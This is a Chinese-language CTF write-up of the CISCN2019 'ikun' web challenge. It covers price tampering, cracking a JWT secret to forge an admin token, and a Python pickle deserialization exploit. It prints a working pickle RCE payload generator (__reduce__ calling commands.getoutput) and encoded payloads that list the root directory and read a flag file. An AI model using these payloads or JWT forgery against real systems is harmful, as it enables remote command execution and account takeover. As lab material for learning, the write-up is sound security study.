首页 > 编程语言 >[CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化

[CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化

时间:2022-08-30 09:36:22浏览次数:78  
标签:lv6 ikun python self jwt import 序列化 pickle payload

考点:JWT身份伪造、python pickle反序列化、逻辑漏洞

1、打开之后首页界面直接看到了提示信息,信息如下:

2、那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一页,此时观察下访问的url地址:http://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明显这里是要我们修改page参数进行访问,获取到lv6后进行购买,那就用脚本获取下lv6的位置,脚本和结果如下:

脚本代码:

import requests

url = 'http://6d8e46fc-520a-4d0d-a912-e9058186d353.node4.buuoj.cn:81/shop?page='
for i in range(0,2000):
    urls = url + str(i)
    rs = requests.get(urls)
    print("\r", end="")
    print('已检测到' + str(i) + '页', end='')
    if 'lv6.png' in rs.text:
        print('\nlv6在第'+str(i)+'页')
        break

结果如下:

3、那就访问第181页并购买lv6,但是因为我们的金额不够,所以这里需要抓取购买请求的数据包并修改和折扣信息,使我们的金额可以成功购买到lv6,结果如下:

4、发现返回的信息中只有一个:/b1g_m4mber,那就尝试访问一下,显示只允许admin账户进行访问,结果如下:

5、抓取访问的数据包,发现其中存在和身份认证有关的jwt,对jwt进行密匙爆破,成功获得密匙:1Kun,这里使用的爆破工具是:https://github.com/brendan-rius/c-jwt-cracker。使用方法:

1、sudo apt-get install libssl-dev(如果失败,则执行sudo apt-get update)

2、sudo make

3、./jwtcrack JWT

最终获得密匙如下:

6、破解密匙后,然后通过我们的密匙生成新的jwt,网站:https://jwt.io/或者brup的JSON Web Token(修改JWT之后,会自动修改抓取数据包中的JWT,这个还是比较方便的)插件,结果如下:

7、使用新生成的jwt替换掉原数据包中的jwt并发送数据包,成功进入到admin账户的界面并查看源代码信息,发现了一个压缩包,结果如下:

8、然后就对代码进行审计,但是因为对python不够了解,所以在网上未发现是python pickle的序列化漏洞,漏洞存在admin.py文件中,代码信息如下:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

然后在网上查找了下利用的方式,需要通过脚本生成payload:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.,脚本信息如下(不要使用python3):

import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

9、获取到payload之后就在前端找一下become参数,发现参数被隐藏起来了,删除hidden属性,输入payload,点击一键成为大会员抓包(不要忘了修改JWT),获得flag.txt,结果如下:

10、修改脚本中的命令,读取flag.txt文件,修改后的脚本为:

import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

a = payload()
print urllib.quote(pickle.dumps(a))

payload:ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.,重复步骤9,成功获得flag:flag{8c613da6-9a6e-4eac-ac4e-8076e3af0f7c},结果如下:

标签:lv6,ikun,python,self,jwt,import,序列化,pickle,payload
From: https://www.cnblogs.com/upfine/p/16638147.html

相关文章

  • python之面向对象
    面向对象本质:将特定的数据与特定的功能绑定到一起将来只能彼此相互使用对象其实就是一个容器里面将数据和功能绑定到一起使用场景一:​ eg:游戏人物......​ ......
  • python数据精度问题
    一、python运算时精度问题:1.运行时精度问题在Python中(其他语言中也存在这个问题,这是计算机采用二进制导致的),有时候由于二进制和十进制之间对应问题会导致数值的精度问题,比......
  • python学习Day55
    Day55今日内容概要一.jQuery更多操作1.筛选器方法2.操作标签3.jQuery事件4.jQuery动画效果二.Bootstrap页面框架今日内容详细一.jQuery其他操作1.筛选器方......
  • python列题(定时器|搜索框)
    尝试编写JS时间案例 1.页面定时器案例 有一个input框两个按钮一个开始一个结束 1.点击开始按钮input内展示当前时间并按秒数刷新2.点击结......
  • Python爬虫-Xpath语法与lxml库的用法(二)
    一、安装pip方式安装pipinstalllxml二、Xpath术语2.1节点在XPath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML文档......
  • 学习python-Day49
    今日内容作业尝试编写JS时间案例 页面定时器案例 有一个input框两个按钮一个开始一个结束 1.点击开始按钮input内展示当前时间并按秒数刷新......
  • Python3处理grpc接口返回包含中文编码的protobuf数据时的显示问题
    [本文出自天外归云的博客园]当你用python调用grpc接口的时候,返回的protobuf数据中如果含有中文,会显示成编码模式,类似“\345\214\227\344\272\254”,如何显示成中文呢?这里有......
  • python程序的运行方式和步骤
    1.python程序运行的方式1.1交互式在操作系统的终端,输入对应的python解释器版本名,比如python3.8;进入python交互式环境;在该环境下输入python代码可以即时得到程序运行的结......
  • Python入门系列(四)别再傻傻分不清:列表、元组、字典、集合的区别
    总结分析列表、元组、字典、集合的相同与区别之处,只有彻底分清之后,就会在应用的时候,得心应手。四句话总结列表是一个有序且可更改的集合,允许重复成员。元组是一个有......
  • Python源程序(.py)转换为可执行文件(.exe)
    Python源程序(.py)转换为可执行文件(.exe) 将Python源程序(.py)转换为可执行文件(.exe)由于Python程序的执行依赖于其环境,不能在操作系统下直接运行,因此在某些情况下需要将将P......